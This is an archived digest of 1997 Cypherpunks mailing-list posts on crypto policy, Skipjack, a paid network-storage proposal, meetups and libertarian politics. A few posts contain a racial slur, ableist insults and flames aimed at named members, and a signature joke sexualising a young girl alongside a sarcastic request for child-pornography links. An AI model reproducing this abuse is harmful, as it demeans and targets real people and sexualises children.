Message-ID: <3.0.2.32.19970903010757.0305ab88@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:56 AM 9/3/97 GMT, bureau42 Anonymous Remailer wrote:
>Ira Sockowitz moved from commerce to SBA taking a few things with him:
>
>An excerpt:
>
>The classified information Sockowitz took was so sensitive it threatened
>to put the National Security Agency, or NSA, out of business, because the
>files included information about encryption chips (which safeguard
>computers) that the spy agency itself can't break. These are files for
>which high-tech companies lust and countries would kill. 
>
>http://members.aol.com/beachbt/socko.htm

Tim Maier's Insight article isn't all that bad, but he obviously doesn't have
a good perspective on crypto technology, and unfortunately none of the
web pages involved contain good email pointers to their authors :-)
	(On the other hand, one of the references said Dave Sobel has copies.)

Encryption technology the NSA can't break is easy; you've been
able to get PGP for about 5 years from Internet sites at
Oxford and various other Finnish, Italian, and North American 
universities, plus lots of good books and conference proceedings.
Far more interesting is insight into what they _can_ break :-)
Also, the documentation about NSA market studies on encryption,
strategies on controlling it, etc., would be amusing to read.

I can't comment usefully on Uranium shipments or satellite technology.
However, some of the writing about Lockheed and Iridium was a bit
on the sensationalist side.  In particular, the assertion that
Lockheed only gave one political contribution in 1993, before this
scandal and (mostly) before Iridium, vs. lots in 1995-1996, is silly.
1992 was an election year, 1994 was Congressional elections,
and 1993 was the mostly quiet time in between.  Given the numbers of
major defense procurements Lockheed's been involved in over the years,
I'd be surprised if they aren't making political contributions like
everyone else in the industry -- they just make them at times they're useful,
and Iridium is just another project.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Austin Stable Leader <asl@dev.null>
Date: Wed, 3 Sep 1997 19:00:31 +0800
To: cypherpunks@toad.com
Subject: Re: Fate of Jews in America (fwd)
In-Reply-To: <18adffbcbf3db09095d3735819c68cbc@anon.efga.org>
Message-ID: <340D0E7D.5105@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Any Mouse wrote:
> Cypherpunks are in no position to make remarks about Jewish racism.
> 
> Jews were far more welcoming to such as Sammy Davis, Jr. than many
> cypherpunks would be.  "Off my porch, nigger!" would be the undoubted
> greeting from some of our ostensible leaders, as they take shotgun in
> hand.

As the Austin Stable Leader of the Cypherpunks Cult of One (Playtypus
Chapter), I demand to know if you are speaking for _all_ cypherpunks
critics, or just for yourself.
{Don't bother replying either by private email, or to the list, as long
 as you put the answer on your hard drive, I'll find it. 

LongFacedMustachioedCypherpunk(:-I>}HallowedLiterMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 3 Sep 1997 20:02:56 +0800
To: cypherpunks@toad.com
Subject: Re: You really do want to volunteer, don't you? (fwd)
In-Reply-To: <v03102813b03286ee55b2@[207.167.93.63]>
Message-ID: <aqwFce36w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:

>
> At 4:05 PM -0700 9/2/97, Greg Broiles wrote:
>
> >A more useful way to avoid corrections/citations/clarifications might be
> >simply getting the details correct in the first place.
> >
>
> And a hearty fuck you to you as well.
>
> Jeesh. You'll probably make a fine lawyer.

Probably not.  He works for Sameer Parekh.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 3 Sep 1997 13:57:30 +0800
To: cypherpunks@toad.com
Subject: Meet-in-the-middle attack
Message-ID: <a8080ce53f304f934cf0ed0156aaffc1@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Timmy C[retin] May is just a poor excuse for an unschooled, retarded thug.

    (((>     /<
   (        /
    ((({{{{{:<  Timmy C[retin] May
            \
             \<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Wed, 3 Sep 1997 11:44:42 +0800
To: cypherpunks@toad.com
Subject: Clinton, Commerce, and Crypto scandal
Message-ID: <Pd+GYWt/DaNdTTMhZshxHQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain




Ira Sockowitz moved from commerce to SBA taking a few things with him:

An excerpt:

The classified information Sockowitz took was so sensitive it threatened
to put the National Security Agency, or NSA, out of business, because the
files included information about encryption chips (which safeguard
computers) that the spy agency itself can't break. These are files for
which high-tech companies lust and countries would kill. 

http://members.aol.com/beachbt/socko.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Integration <abrams@philos.umass.edu>
Date: Wed, 3 Sep 1997 14:09:20 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Information
Message-ID: <199709030603.CAA18347@wilde.oit.umass.edu>
MIME-Version: 1.0
Content-Type: text/plain



> Anonymous wrote:
> > 
> > > > |> >>Dave K-P <k.p@snet.net> writes:
> > > > |> >>
> > > > |> >>>> > > > Information, please!
> > > > |> >>>> > > Dont go swimming on a full stomach.
> > > > |> >>>> > Don't "escrow" your keys.
> > > > |> >>>> Don't take advice from strangers.
> > > > |> >>>Don't ask, don't tell.
> > > > |> >>Don't eat yellow snow.
> > > > |> >Don´t spit, just swallow.
> > > > | >Don't touch anything.
> > > > Don't touch _there_.
> > > Never piss into the wind.
> > Don't pull on a psycho's cape.
> Don't jump to confusions..
Don't look a gift horse in the mouth.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 3 Sep 1997 18:59:07 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: Meet-in-the-middle attack
In-Reply-To: <a8080ce53f304f934cf0ed0156aaffc1@anon.efga.org>
Message-ID: <Pine.A41.3.95.970903021247.79380A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back to him.

On Wed, 3 Sep 1997, Anonymous wrote:

> Timmy C[retin] May is just a poor excuse for an unschooled, retarded thug.
> 
>     (((>     /<
>    (        /
>     ((({{{{{:<  Timmy C[retin] May
>             \
>              \<
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 3 Sep 1997 14:59:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fate of Jews in America (fwd)
Message-ID: <18adffbcbf3db09095d3735819c68cbc@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Cypherpunks are in no position to make remarks about Jewish racism.

Jews were far more welcoming to such as Sammy Davis, Jr. than many
cypherpunks would be.  "Off my porch, nigger!" would be the undoubted
greeting from some of our ostensible leaders, as they take shotgun in
hand.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Compromise-John Bullers <cjb@dev.null>
Date: Wed, 3 Sep 1997 18:57:02 +0800
To: cypherpunks@toad.com
Subject: Re: Meet-in-the-middle attack
In-Reply-To: <Pine.A41.3.95.970903021247.79380A-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <340D2A3D.B69@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Graham-John Bullers wrote:
> 
> I think Vulis needs each of us to send ten copies of this back to him.

Why don't we send just five copies back to him. Is that acceptable to
everybody?

Compromise-John Bullers





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Abstruse <Abstruse@technologist.com>
Date: Wed, 3 Sep 1997 19:00:13 +0800
To: cypherpunks@toad.com
Subject: Re: Information (yeah, two in one night..so sue..)
In-Reply-To: <199709030603.CAA18347@wilde.oit.umass.edu>
Message-ID: <340D0EB0.6D14@technologist.com>
MIME-Version: 1.0
Content-Type: text/plain



Integration wrote:
> 
> > Anonymous wrote:
> > >
> > > > > |> >>Dave K-P <k.p@snet.net> writes:
> > > > > |> >>
> > > > > |> >>>> > > > Information, please!
> > > > > |> >>>> > > Dont go swimming on a full stomach.
> > > > > |> >>>> > Don't "escrow" your keys.
> > > > > |> >>>> Don't take advice from strangers.
> > > > > |> >>>Don't ask, don't tell.
> > > > > |> >>Don't eat yellow snow.
> > > > > |> >Don´t spit, just swallow.
> > > > > | >Don't touch anything.
> > > > > Don't touch _there_.
> > > > Never piss into the wind.
> > > Don't pull on a psycho's cape.
> > Don't jump to confusions..
> Don't look a gift horse in the mouth.

Don't *hate* the media..
*become* the media" - Jello Biafra





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 3 Sep 1997 21:20:21 +0800
To: cypherpunks@toad.com
Subject: DC CYPHERPUNKS PARTY on September 6
Message-ID: <Pine.GSO.3.95.970903045607.27733B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



The DC cypherpunk working meeting and Diffie-Hellman patent expiration
party is this Saturday, September 6. About 30 people have RSVP'd. Speakers
include Bob Corn-Revere, a member of the Bernstein legal team, who will
talk about the lawsuit.

A group of 2600ers from NYC are coming down and may be able to bring
friends. People also plan to come from Baltimore and Richmond, so
carpooling might be a possibility. Email me for more info on this.

Remember, the event has two portions:

  -- 5:30 pm: a DCCP working meeting and potluck supper.
  -- 8:00 pm: a post-meeting party to celebrate the expiration of the
              Diffie-Hellman and Merkle-Hellman patents.

The original invite is at http://www.well.com/~declan/dccp/

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Uran233@aol.com
Date: Wed, 3 Sep 1997 19:00:02 +0800
To: cypherpunks@algebra.com
Subject: Re: NSA/NIST Security Lab
Message-ID: <970903045841_1919366449@emout04.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



Yes but the NSA really wanted the Skipjack for DOD messsages. They (probably)
monitor all of those anyway. But Matt did alot of work on his project but did
he show how to brak Skipjack and does this totally trash the Fortezza
 program? I being niaive would not belive that the NSA would let the process
continue if it was unsecure, of cousre if they can read all the messages and
are sure that others can not. Maybe it is secure except for NSA. But does
that mean it is not a good algorithm? DES stood around for a long time, in
the public sense.  But no one knos if there is a trapdoor. Of course I may be
all wrong her but it is a thouhht





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 3 Sep 1997 21:17:13 +0800
To: cypherpunks@toad.com
Subject: DC cypherpunk soccer team?
Message-ID: <Pine.GSO.3.95.970903050450.27733D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



If you live in Washington, play soccer, and are a libertarian
(anarcho-capitalists are also welcome), email me. The fall league is
starting in two weeks. 

The name of the team? "The Invisible Foot"

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Wed, 3 Sep 1997 13:11:43 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Adding Memory to the Net
Message-ID: <HIOwFt43SCuZM9Wap1fmuQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

This is an interesting proposal.  It would be easier for people who
are new to this business if there were more specifics about how this
would be implemented.  I'm sure you have particular techniques in mind
for splitting the data across servers, etc., but everybody else
doesn't necessarily know what they are.  Examples are nice because you
can go over them one bit at a time.

Here are some ignorant comments and questions.

Mike Duvos wrote:
> Bob makes a secure connection to a Trusted Agent doing business...

Why is the Trusted Agent necessary?  What does the agent do that Bob
couldn't do himself?  It seems like Bob could split up the data and
pay the servers to hold it just as well as the agent.  And he wouldn't
have to trust anybody.

> For the next 100 days, Bob and all of his friends may use the 256
> bit TAG/CONTEXT pair in place of Bob's data and may serve that data
> for free any number of times off any network file system server.

Or the people getting the data could also pay small fee for good
service.  Like a tip, if storing the data itself is the dominant cost.

This makes it harder to attack the servers by saturating them with
requests for data.

Usenet has traditionally been free for posters.  This model could
continue if there were users who were willing to pay to see other
people's posts.  Servers would keep the data around so long as there
seemed to be people asking for it.

You could imagine the price going up over time as fewer people want to
see it.  At some point not enough people may want to pay as much money
so it goes away.  In this model the server operators would just be
information speculators.

And, if The Bad Guys started knocking out servers, there would be a
powerful financial incentive to start serving the information that was
eliminated since its market price should go up.

> After 100 days, bob may fork over another 10 cents for another 100
> days, or his data will disappear.  The TAG assigned to an Octet
> String is unique, and no two strings have the same TAG, and no
> string is ever assigned multiple tags, no matter how often it may be
> entered and purged from the system.

It would be nice if the ten cents sells a promise by the server to
make the data available for some period of time in a way which is
independently auditable.  If the server stops carrying the data, Bob
can publish his proof that he was defrauded.  Because the facts would
not be in doubt, it would be unlikely to happen frequently.

> Users could boot their machines off the Network, and instantly see
> gigabytes of software available to them.  After syncing their cache
> file system with the network, they could drop their PC off the roof,
> buy another one, and by typing in just one TAG/CONTEXT pair, see all
> their files again.

This is very cool.  You can hide 256 bits pretty easily, which makes
The Great Satan's job harder.

> Aside from replication done for reliability, there should be only
> one copy of a file in the system at any time.  If multiple users
> submit the same file, there should be no more copies than if one
> user submitted it.

Would this really be worth the effort?  If Bob wants to pay to put the
file up twice, why not let just let him?

Just Another Cypherpunk

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNAuAZv+1rw4IkyBFAQG3WQf9EBR/peMkdc+0WT5W6O+L9KMf69artRy9
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M5VKW4HJpcY4zapc1DCdCPW72KnWZjlrOsP3X+r1yi1KrLlsORNkl3M85dhS5vLz
YRoZIIZE51vmrnV3mCA0dClljP2+e4c7FmxtO36spi7n/PPVwkP7xtHqsy762Ex/
iyxyRXCWnPMFHy0tJRWi25HeGqC2IRg22zQ5zk36c6z/JPS92Yabix/rnVWcazP4
3OnmT+nF3xy3mtdx9eMbPTBvxY28uOq+q2k/0/KjNmDjVRPRl2mlvw==
=quQD
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 3 Sep 1997 12:56:08 +0800
To: cypherpunks@toad.com
Subject: Re: Death Pictures of Diana on InterNet!!!
Message-ID: <199709030442.GAA19840@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:43 PM 9/2/97 EDT, Dr.Dimitri Vulis KOTM wrote:
>Mike Duvos <enoch@zipcon.net> writes:
>
>> Now that pictures of Princess Diana trapped in the wreckage have been
>> printed in European tabloids, it is only a matter of time before someone
>> scans them and posts them to alt.binaries.pictures.tasteless.
>>
>> Clicking on such pictures, of course, is not the moral equivalent of
>> having personally run Princess Diana off the road, regardless of what your
>> neighborhood CPAC member would like you to believe.
>
>This is off-topic, but... Why do people refer to the bastards who ran
>Di's card off the road by some weird italian name?

In a case of Worst Timing Ever by an advertiser, Weight Watchers flyers
hit the mailboxes in our area on Friday.  They feature a cheesecake shot
of Lady Sarah Ferguson, Duchess of York, saying that losing weight is:

    "HARDER than outrunning the papparazzi"


I guess fat people are doomed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 3 Sep 1997 21:04:10 +0800
To: cypherpunks@toad.com
Subject: Re: Missing Kids and Porn Links
In-Reply-To: <199709030605.IAA27215@basement.replay.com>
Message-ID: <8oBgce38w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

> Igor Chudov @ home wrote:
> >
> > Most of people who publicly "care for children" are hidden pedophiles or
> > control freaks, in my humble opinion.
>
> I agree.
>
> Does anyone have any pointers to child pornography sites, so that I can
> warn people which sites to avoid?

http://www.whitehouse.gov

> T.C. Mayonnaise <tm@dhp.com>
> "Hey little girl, want to make some mayonnaise with _real_ eggs?"
>
>


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 3 Sep 1997 14:21:08 +0800
To: cypherpunks@toad.com
Subject: Re: Missing Kids and Porn Links
Message-ID: <199709030605.IAA27215@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov @ home wrote:
> 
> Most of people who publicly "care for children" are hidden pedophiles or
> control freaks, in my humble opinion.

I agree. 

Does anyone have any pointers to child pornography sites, so that I can
warn people which sites to avoid?

T.C. Mayonnaise <tm@dhp.com>
"Hey little girl, want to make some mayonnaise with _real_ eggs?"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Roger J Jones <cyber@ibpinc.com>
Date: Wed, 3 Sep 1997 21:24:10 +0800
To: "'cypherpunks@cyberpass.net>
Subject: Forbes September 8, 1997
Message-ID: <01BCB841.ADC03090@PC1901>
MIME-Version: 1.0
Content-Type: text/plain



For those who have not seen it, the cover of this issue of Forbes is:

"The cypher-libertarians

This guy wants to overthrow the government"

Cool!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chip Mefford <cmefford@avwashington.com>
Date: Wed, 3 Sep 1997 21:12:12 +0800
To: cypherpunks@toad.com
Subject: Big Brother is watching
In-Reply-To: <199708281520.RAA25882@basement.replay.com>
Message-ID: <v03102800b0331277b5be@[207.79.65.77]>
MIME-Version: 1.0
Content-Type: text/plain



Fairfax County, In the Peoples Republic of Virginia

Citizens in the PRV who have been travelling in Fairfax County will soon
be recieving summons to come pay their dues to the monster in the form of
traffic citations for running red lights issued by Big Brother.

Yes, rest assured that Big Brother is watching. Three CopBots have been
deployed around the county to take pictures of vehicles exiting
intersections after the light has turned red. These CopBots are a great
boon to our prosperity and security as they free up the huminoid Cops from
traffic duties so that they can better spend their time toilet plunger
kicking.

In the month since this "trial program" began, over 3 thousand citations
have been prepared and will be in the mail as of TODAY!!!. All Hail Big
Brother, security is at hand!! Hurrah!!

With this wonderful sucess, We can all look forward to this items being
placed in our domiciles in order to further protect us from crime.

This is truely a great day.

Weep for joy!

I love Big Brother.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 3 Sep 1997 21:11:03 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Death Pictures of Diana on InterNet!!!
In-Reply-To: <HmmFce32w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970903084201.5408D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 2 Sep 1997, Dr.Dimitri Vulis KOTM wrote:

> This is off-topic, but... Why do people refer to the bastards who ran
> Di's card off the road by some weird italian name?
> 
> They're JOURNALISTS.  Just like Declan here.

Ahem.

 pa-pa-raz-zo \,paHp-e-'raHt-(,)soE\
 [It]
 (1968)
 :a free-lance photographer who aggressively pursues celebrities for the
 purpose of taking candid photographs 

I'm not freelance, nor a photographer, and certainly not someone who
pursues celebrities to take photos.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Wed, 3 Sep 1997 21:52:59 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NSA/NIST Security Lab
Message-ID: <199709031344.JAA01344@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



Uran233@aol.com wrote:

> Yes but the NSA really wanted the Skipjack for DOD messsages. 

As I recall, only for sensitive but unclassified data.

>They (probably) monitor all of those anyway. 

Tessera/Clipper had built-in GAK, so a backdoor would have been 
redundant. 

> But Matt did alot of work on his project but did
> he show how to brak Skipjack and does this totally trash the Fortezza
> program?

No. He showed that with a bit of work he could fake the ID of the 
chip sending the message. He did not 'break Skipjack' in any way.
He did show that the protocol (which used Skipjack for bulk 
encryption) was incompetently designed.

Get a spellchecker.

Peter Trei
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 3 Sep 1997 19:00:24 +0800
To: cypherpunks@toad.com
Subject: Re: Information (yeah, two in one night..so sue..)
Message-ID: <199709030753.JAA06106@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Abstruse wrote:
> > > > > > |> >>Dave K-P <k.p@snet.net> writes:
> > > > > > |> >>
> > > > > > |> >>>> > > > Information, please!
> > > > > > |> >>>> > > Dont go swimming on a full stomach.
> > > > > > |> >>>> > Don't "escrow" your keys.
> > > > > > |> >>>> Don't take advice from strangers.
> > > > > > |> >>>Don't ask, don't tell.
> > > > > > |> >>Don't eat yellow snow.
> > > > > > |> >Don´t spit, just swallow.
> > > > > > | >Don't touch anything.
> > > > > > Don't touch _there_.
> > > > > Never piss into the wind.
> > > > Don't pull on a psycho's cape.
> > > Don't jump to confusions..
> > Don't look a gift horse in the mouth.
> 
> Don't *hate* the media..
> *become* the media" - Jello Biafra
Don't talk to yourself (even by email).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 3 Sep 1997 22:45:44 +0800
To: cypherpunks@toad.com
Subject: Re: Europe puts pressure on FCC over accounting rate moves
Message-ID: <1.5.4.32.19970903142316.006991bc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>(Note to Greg Broiles: You will undoubtedly claim that I should check my
>facts more thoroughly before sending this message. When you start paying me
>$150 an hour (cheap by attorney's inflated fee schedules) I will promise to
>spend an extra 10-20 minutes per post doing Web searches to verify trivial
>details.)

Announcing Black-and-WhiteNet (256-Gray, plaid, checkered, houndstoothed) 
Op Center (B&WOC(256-GPC-fang) which will minutely trivialize the most 
astoundingly paramountly important tics, quirks and quik-$$$ ever Da Vinced by  
CCLs of evil-elvis/chemical/dietary/genetic/ethnic/racial/politco-military
imbalances (CCLoE-ECDGERP-Mi). 

The service is Free!, absolutely EARwig-ITARpit authenticatable, sworn on the 
blorb's newsracks and constitutions for others' genocide and beloved family
whack 
how-tos and inter-related inter-dependent folderol for sanctioned revenge
mayhem 
and It-made-me-do-it salvation and self-rammed lead up hoof-pop and oral rot.

Now, read on for the good $tuff:

Thanks to limitless contributions from the global media, open and secret
Orders, 
trade and NDA assocs, retired and active members of gov/mil/edu/net/orgs, the 
service will leap to shell out data-haven-quicksands of unlocateable
e-shekels to 
anon-remailer-informants for information leading to the entrapment and 
vaporization of the supremely urgently destructive demolishers of all other 
contenders for impeccable veracity and bottomless shamlessly vainglorious 
product promo and faithhealing celebrity implanation/enhancement.

Exes of orgs specially trained to cheat, lie, steal IP, walk on grannies,
etc, and
even more so, the double, triple and bypass XXs of all spinoffs and spin labs, 
are especially welcomed for dangling as irresistable bait for like
super-peepees 
and wannabes seeking Dow-Corninging (D-C Net-neutering, unexpected 
down migration to nether parts, career redirection to geek show Oprahing).

Persons licensed or regulated for betrayal of the public interest for
self-shame,
that is, all who are licensed, regged, SSed and uniformed, get, believe it,
only you,
to-the-trade-only discount/stipend/D-C-reimbursement commensurate with the
maggot-chewed-brain challenged (degree-ed, credentialed up the kazoo, failed 
nontheless no matter repetitive public cry and beg for understanding) of the 
higher prefontal .edu-tree-chewers, arch and anarch contenders with the Grand 
Order/Temple of My Maggots are Better Than Your Maggot (itself being voraciouly 
gnawed and underminded by The Terrible Terroristic Termites, Thine Own Enemy 
Within: Envy Eating Mine Own Soul Food(T5OEW:E2MOSF [not that OSF])).








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 3 Sep 1997 23:36:26 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Capitalism 102 (was Re: Things we should be working on...)
In-Reply-To: <v031107c4b03262df6ab8@[139.167.130.248]>
Message-ID: <v031107e1b0330d9f5058@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:21 pm -0400 on 9/2/97, Tim May wrote:

> Sorry I "donated" my time making up this list,

To the contrary, it's not a donation at all. I see it as a set of
investment criteria, myself. How is the market going to make something for
you if it doesn't know what you want? Keeping in mind what I said about
privacy being economically efficient, I take what is said on this list
about privacy, "gossip" or not, very seriously, especially when it comes
from someone like you, Tim.

> given the messages I'm
> seeing and the private chastisements of me for daring to suggest.

Maybe they're misinterpreting all the stuff you've said over the years
about "something must be done", "cypherpunks is not a group", and "we"
ought to do to things, etc.

Frankly, a discussion of specifications and desired results is worth much
more than the wasted random effort saved when people just write code and
let god sort it out. I mean, Michaelson-Morley may have been a neat
experimental finding, but nothing really happened with gravity until
Einstein figured out space-time, right?

> Apparently some of you think that only full-time C or Java programmers are
> qualified to make suggestions.

Of course not. See above. There are many more people who know how to write
code than there are like you, Tim, who know what to do it *for*.
Unfortunately, people who write code need to eat. Fortunately, people who
know what to do can raise money to hire people who write code if the idea's
good enough to sell twice: once to investors, and again to the market for
which the code's intended. And, rarely, as in your case, Tim, some people
with money already know what to do and can hire people to do it. If they
can "sell" *themselves* on the idea that the market will buy it. The guy
who founded Aldus did it with Pagemaker. Osbourne did it, too, before he
made the mistake of hiring a completely ignorant "professional" managment...


> And spare me the lectures on Capitalism 101.

Well, it was more for the list's benefit than yours, Tim. You're just my
unsuspecting foil, here. :-).

If, say, John Gilmore were here saying the same kinds of stuff you were,
I'd have sprung my little rhetorical trap for him instead, by getting him
to list what we should do next, and then asking him which ones he's going
to invest in. He'd probably be just as pissed off.

You just got lucky, is all...


Actually, if you count the money and time he's thrown at politics and
lawyers, and S/WAN, and cypherpunks, and a few other things, you might say
Gilmore's made an investment or two. Unfortunately, since he's not using
actual investment criteria -- profits, in other words -- you might consider
those investments to have been accidental. On the other hand, investing is
always about personal choices, whatever they are, and so the loop closes on
itself, I suppose.

The point is, all of the stuff you've listed costs money to do, Tim, or it
would have been done already. Which means, unless you're doing this for a
hobby, spending a very small fraction of your total income, (or an
obsession, taking all of your time and income, which can easily be argued
here on my own part :-),) then the money or time you invest in an activity
has to perpetuate itself, or eventually you won't be able to do it anymore.
Simple economics.


So, Tim, why don't you pick your favorite project on that list, hire some
people to write code, and go for it? Most of the stuff on your list can't
cost that much to do, and, if it did, then it's probably the wrong project
for you, personally, financially, to work on. If that project makes money,
you can reinvest it in something bigger anyway. Capitalism 101.

I think that Sameer in particular proves that the barriers to entry for
some financial cryptography markets are still practically nonexistant from
an investment perspective. Not for the stuff Sameer's doing, of course.
He's raised his own barriers to entry behind him by investing in his
markets already. C2NET was completely bootstrapped, though, and hopefully,
Sameer will never need outside investment. As smart as he is about
business, he'd certainly be a fool to ever take VC money. However, like
Bill Gates, the time may eventually come when he's got so many option
holders in C2NET that the SEC will force him to go public, like they did to
Microsoft, another bootstrapped company.

Anyway, especially in anonymous digital bearer settlement, which is the
really important stuff in financial cryptography, there are lots of
opportunities out there, and some of them are bootstrapable. Some of those
which aren't should be funded by single, monomaniacal, investors like the
Aldus guy did with Pagemaker, or you, Tim, should do with your favorite
project on the list. Hopefully, the rest the non-bootstrap stuff can be
done with e$lab or something like it. At least that's what *I'm* hoping...
;-).

You don't even have to be incredibly active as an investor. Armand Hammer
(not a good example as a human being, but certainly a good one here) got
into the oil business practically by accident *after* he retired, and
pretty much kept a retiree's schedule all throughout Occidental's growth
into a major oil company.



Privacy, financial or otherwise, is economic efficiency. Anyone who
consistantly steers by the star of privacy is going to make money and thus
change the world.

And, Tim, there is no better navigator of those waters, anywhere in the
world, than you are. None.

You're the moral compass most of us in the crypto community have
internalized when we think "what would Tim say" about something we're
thinking about doing.

(Well, you don't steer north all the time, sometimes there are rocks in the
way, but you still have to know where north is, certainly, or you don't
*get* anywhere. ;-))


So, Tim, again, which one of those projects do you want to do? Who are you
going to hire to do them? More important, how much money do you think
you'll get back by doing it?



Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 3 Sep 1997 22:58:09 +0800
To: cypherpunks@toad.com
Subject: Re: Europe puts pressure on FCC over accounting rate moves
Message-ID: <1.5.4.32.19970903143640.00718780@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



So-called John Young wrote:
>Tim May wrote:

>Announcing Black-and-WhiteNet (256-Gray, plaid, checkered, houndstoothed) 
>Op Center (B&WOC(256-GPC-fang) which will minutely trivialize the most 

Not that it matters, but this is not mine. But not sure how to prove it,
probably
best to not try to be serious and thereby reify parody self-parody,
self-parody, 
self-parody.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
